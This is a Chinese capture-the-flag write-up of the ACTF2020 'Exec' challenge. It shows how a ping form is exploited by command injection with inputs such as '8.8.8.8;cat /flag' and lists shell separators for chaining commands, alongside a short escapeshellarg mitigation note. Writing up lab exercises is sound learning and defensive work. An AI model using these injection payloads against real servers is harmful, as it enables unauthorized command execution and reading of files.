[ACTF2020 新生赛]Exec 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们刷下 ACTF2020 新生赛Exec 这道题,依旧分享我的解题思路和解法。


解题思路

先启动靶场。

访问靶场主界面。

发现有个可以输入IP的窗口,我们不着急测试,先查看前端代码看看有没有什么其他线索。

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>command execution</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />


</head>
<body>

<h1>PING</h1>
<form class="form-inline" method="post">

    <div class="input-group">
        <input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target">
    </div>
    <br/>
    <br/>

    <button  style="width:280px;" class="btn btn-default">PING</button>


</form>
<br /><pre>
</pre></body>
</html>

观察代码,发现前端以 POST 方式通过 input 标签传输了个 target 的文本类型的参数到后端处理。

既然是执行系统的命令,那可能该参数是直接拼接到系统命令当中。

我们先输入个IP地址看看返回的是什么内容。

8.8.8.8 是 Google LLC 提供的免费 DNS 服务器 IP 地址,感兴趣或不太了解的朋友可以自行搜索了解。此外,也可以使用 114.114.114.114 这个 IP 地址,它相比 8.8.8.8 在国内更加稳定。

很好,可以确定的是后端可能是直接拼接到系统命令当中的,可能存在RCE漏洞。

那在这里我进行补充,如果后端代码使用安全的函数则可以在一定程度上提高安全性,但最好还是使用白名单进行校验

php 复制代码
$target = escapeshellarg($_POST['target']);
system("ping -c 4 " . $target);

我们继续深入,不清楚后端是什么系统,那我们先使用 "ls" 探探虚实(Windows是使用dir命令)

bash 复制代码
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=42 time=201.661 ms
64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.211 ms
64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.756 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 194.756/198.209/201.661 ms
index.php

很好,目录列表出来了,不过并没有我们需要的flag。

我们使用 "../" 继续深入

bash 复制代码
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=42 time=199.019 ms
64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.391 ms
64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.943 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 194.943/197.451/199.019 ms
html
localhost

依旧没有,在这里我们可以继续添加 "../" 来进行深入,或者说直接拼接 "/" 查看根目录。

这个依个人习惯而定,在这里我就按照本人习惯直接查看根目录了。

bash 复制代码
8.8.8.8;ls /

发现可能藏有 flag 的文件!接下来我们直接使用 cat 尝试读取

bash 复制代码
8.8.8.8;cat /flag

这样子,flag就成功爆出来了!

bash 复制代码
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: seq=0 ttl=42 time=202.624 ms
64 bytes from 8.8.8.8: seq=1 ttl=42 time=197.311 ms
64 bytes from 8.8.8.8: seq=2 ttl=42 time=198.840 ms

--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 197.311/199.591/202.624 ms
CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}

靶场小结

考点标签

命令注入、输入验证、管道符与分号

核心教训

  1. 功能点即攻击面:页面上的"Ping"功能,背后大概率调用了系统命令。看到这类功能,第一反应就应该是测试命令拼接符。

  2. 命令注入的肌肉记忆:";" "|" "&" "&&" "||" "%0a" 这些拼接符应牢牢记住。本题无任何过滤,分号 ";" 直接生效。

  3. 无过滤时的最简 Payload:"8.8.8.8; cat /flag" ------前面的合法输入用来让原命令正常执行(或者至少不报错),分号切断后直接执行读取命令。这是命令注入最经典、最优雅的利用形式。

解题关键步骤

  1. 打开靶场,看到输入框和 ping 功能。

  2. 输入 8.8.8.8 测试正常功能,确认页面返回 ping 结果。

  3. 输入 8.8.8.8; ls 测试拼接,页面回显目录列表,确认命令注入漏洞存在。

  4. 输入 8.8.8.8; cat /flag 读取根目录下的 Flag 文件。

  5. 拿到 Flag:CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}。

相关推荐
find1star7 小时前
LeetCode 141:环形链表
java·算法·leetcode·链表
迅翼SwiftWing7 小时前
编队系列(总)|固定翼编队如何实现稳定飞行?通信架构、协同算法与工程约束深度解析
算法·架构
LB21127 小时前
力扣160 21 86
算法·leetcode·职场和发展
腾视科技-AI8 小时前
腾视科技AIBOX双版本重磅发布!本地安全与全球适配,解锁视频智能新可能
大数据·人工智能·科技·安全·大模型·腾视科技·ai算力盒
迪康coolmu8 小时前
企业文档安全防护体系拆解:从备份、防勒索到全链路水印管控
安全
小智老师PMP8 小时前
2026深度解析|PMP第八版与NPDP核心侧重点本质区别(管理类证书怎么选)
开发语言·分布式·算法·职场和发展·产品经理
HugoStudio_SWAN8 小时前
洛谷 B4450 / B3867 / B3923 智慧购物、储蓄与做题——从程序到生活
c++·学习·程序人生·算法·生活
a187927218318 小时前
【算法】动态规划第二篇:双序列 DP 三课——继承、计步与断链
算法·leetcode·动态规划·dp·回溯·暴力·算法讲解
Rain的Java大神之路9 小时前
JavaWeb开发如何解决跨域问题
java·前端·后端·nginx·web安全·面试·运维开发
江畔柳前堤9 小时前
前台·中台·后台:2026年AI原生时代的架构全景图
开发语言·人工智能·算法·机器学习·架构·scala·ai-native